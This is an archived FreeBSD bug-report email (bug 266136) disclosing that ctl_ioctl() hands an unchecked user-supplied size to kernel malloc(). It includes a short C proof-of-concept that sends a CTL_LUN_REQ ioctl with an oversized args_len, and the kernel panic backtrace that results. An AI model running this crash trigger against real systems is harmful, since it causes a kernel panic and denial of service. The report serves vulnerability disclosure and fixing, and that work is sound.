From nobody Wed Aug 31 16:29:41 2022 X-Original-To: bugs@mlmmj.nyi.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2610:1c1:1:606c::19:1]) by mlmmj.nyi.freebsd.org (Postfix) with ESMTP id 4MHqQG5F56z4bnxf for ; Wed, 31 Aug 2022 16:29:42 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) Received: from mxrelay.nyi.freebsd.org (mxrelay.nyi.freebsd.org [IPv6:2610:1c1:1:606c::19:3]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256 client-signature RSA-PSS (4096 bits) client-digest SHA256) (Client CN "mxrelay.nyi.freebsd.org", Issuer "R3" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 4MHqQG3DV7z3yQr for ; Wed, 31 Aug 2022 16:29:42 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) Received: from kenobi.freebsd.org (kenobi.freebsd.org [IPv6:2610:1c1:1:606c::50:1d]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256) (Client did not present a certificate) by mxrelay.nyi.freebsd.org (Postfix) with ESMTPS id 4MHqQG29GSz1B8y for ; Wed, 31 Aug 2022 16:29:42 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) Received: from kenobi.freebsd.org ([127.0.1.5]) by kenobi.freebsd.org (8.15.2/8.15.2) with ESMTP id 27VGTgOg054529 for ; Wed, 31 Aug 2022 16:29:42 GMT (envelope-from bugzilla-noreply@freebsd.org) Received: (from www@localhost) by kenobi.freebsd.org (8.15.2/8.15.2/Submit) id 27VGTgEZ054528 for bugs@FreeBSD.org; Wed, 31 Aug 2022 16:29:42 GMT (envelope-from bugzilla-noreply@freebsd.org) X-Authentication-Warning: kenobi.freebsd.org: www set sender to bugzilla-noreply@freebsd.org using -f From: bugzilla-noreply@freebsd.org To: bugs@FreeBSD.org Subject: [Bug 266136] ctl_ioctl() passes user-supplied size directly to kernel malloc() -> potential crash Date: Wed, 31 Aug 2022 16:29:41 +0000 X-Bugzilla-Reason: AssignedTo X-Bugzilla-Type: new X-Bugzilla-Watch-Reason: None X-Bugzilla-Product: Base System X-Bugzilla-Component: kern X-Bugzilla-Version: CURRENT X-Bugzilla-Keywords: X-Bugzilla-Severity: Affects Some People X-Bugzilla-Who: rtm@lcs.mit.edu X-Bugzilla-Status: New X-Bugzilla-Resolution: X-Bugzilla-Priority: --- X-Bugzilla-Assigned-To: bugs@FreeBSD.org X-Bugzilla-Flags: X-Bugzilla-Changed-Fields: bug_id short_desc product version rep_platform op_sys bug_status bug_severity priority component assigned_to reporter Message-ID: Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable X-Bugzilla-URL: https://bugs.freebsd.org/bugzilla/ Auto-Submitted: auto-generated List-Id: Bug reports List-Archive: https://lists.freebsd.org/archives/freebsd-bugs List-Help: List-Post: List-Subscribe: List-Unsubscribe: Sender: owner-freebsd-bugs@freebsd.org MIME-Version: 1.0 ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=freebsd.org; s=dkim; t=1661963382; h=from:from:reply-to:subject:subject:date:date:message-id:message-id: to:to:cc:mime-version:mime-version:content-type:content-type: content-transfer-encoding:content-transfer-encoding; bh=wBVXcVMc6HENNqwj063ZYBnLfzGDK+fAgLiVzp3F8CQ=; b=pWlWJiwn2hnINFr8OowqDElp4hb601h1EjU20FT3lYlJir1yhjvx4qMqL+7Hsa9gGz9gY1 xItHrf4gY7O/3ZMz3FIHchsasmwBk/CdaLBGCyFvTVHC9PCoR5AF7l/JEfLiRI1MTCdkyM 02zDqN75oJ88hPgaKTEI9ZDjgHiLhsVPqqz1isdfoo4HNokzRYvRrwMgjkMWkD304HPZYs afuUU0oAA2ErfE/W30f2r+sZZBxnEu8mY6OD0hm7Nxf/45jEVgmk1uIKXTcEkehNvcLH5V YWKgqB6M9fmoeZTrOq1snMr7LbAkR0Yh4WjhpnnqveOTpyxuiMMWwsCkyR8CtA== ARC-Seal: i=1; s=dkim; d=freebsd.org; t=1661963382; a=rsa-sha256; cv=none; b=uHPpnm2H/o5AZ8hh4msMwgrxVk/Og4yY6oKUpG9LjEj7R/JcsZd6yuMqq+wDkOuZDfCBeu n6PVK3x7N8Y/Zhy4XK1I7pYG4BdeztPVIIwYn1HgskdNPHEbwbB1B+B+h3UEi9KWOESs0/ MlMXXK3tcJCYZnkFyIo5NYh4IrMopt+b0ZASlUmlApOjAftAz1PdUFf27YXfVZzLM7Ytnr 4HPmL7B/uUwdkpBFHq8hy05m0vwMBLmVYd4OiOulfI96/D06FPMn5x1TqYKte67Ak9fQCd om+cUO9ygG38JJkzy8+iDO0EfuBFnS00UQAVeSHBOiWPSU1FVoNdT7e0K7xD7g== ARC-Authentication-Results: i=1; mx1.freebsd.org; none X-ThisMailContainsUnwantedMimeParts: N https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=3D266136 Bug ID: 266136 Summary: ctl_ioctl() passes user-supplied size directly to kernel malloc() -> potential crash Product: Base System Version: CURRENT Hardware: Any OS: Any Status: New Severity: Affects Some People Priority: --- Component: kern Assignee: bugs@FreeBSD.org Reporter: rtm@lcs.mit.edu ctl_ioctl() in cam/ctl/ctl.c says, under CTL_LUN_REQ: if (lun_req->args !=3D NULL) { packed =3D malloc(lun_req->args_len, M_CTL, M_WAITO= K); lun_req->args_len is supplied by the user program, with no sanity check. Some values will crash the kernel, e.g. 0xffffffffffffffff. A demo: int main() { int fd =3D open("/dev/cam/ctl", 2); if(fd < 0) { perror("/dev/cam/ctl"); exit(1); } char buf[512]; memset(buf, 0, sizeof(buf)); strcpy(buf, "block"); *(unsigned long long *)(buf + 32 + 14*8) =3D 0x8000000000000000ull; // ar= gs *(unsigned long long *)(buf + 32 + 16*8) =3D 0xffffffffffffffffull; // ar= gs_len ioctl(fd, 0xc168e121, buf); // CTL_LUN_REQ } panic: Assertion size > 0 failed at /usr/rtm/symbsd/src/sys/kern/subr_vmem.c:1332 panic() at panic+0x2a vmem_alloc() at vmem_alloc+0xc8 kmem_malloc_domain() at kmem_malloc_domain+0x54 kmem_malloc_domainset() at kmem_malloc_domainset+0x36 malloc_large() at malloc_large+0x2a malloc() at malloc+0xf8 ctl_ioctl() at ctl_ioctl+0x958 devfs_ioctl() at devfs_ioctl+0xbe VOP_IOCTL_APV() at VOP_IOCTL_APV+0x30 VOP_IOCTL() at VOP_IOCTL+0x36 vn_ioctl() at vn_ioctl+0xba devfs_ioctl_f() at devfs_ioctl_f+0x20 fo_ioctl() at fo_ioctl+0xa kern_ioctl() at kern_ioctl+0x242 sys_ioctl() at sys_ioctl+0x120 syscallenter() at syscallenter+0xec ecall_handler() at ecall_handler+0x18 do_trap_user() at do_trap_user+0xea cpu_exception_handler_user() at cpu_exception_handler_user+0x72 --=20 You are receiving this mail because: You are the assignee for the bug.=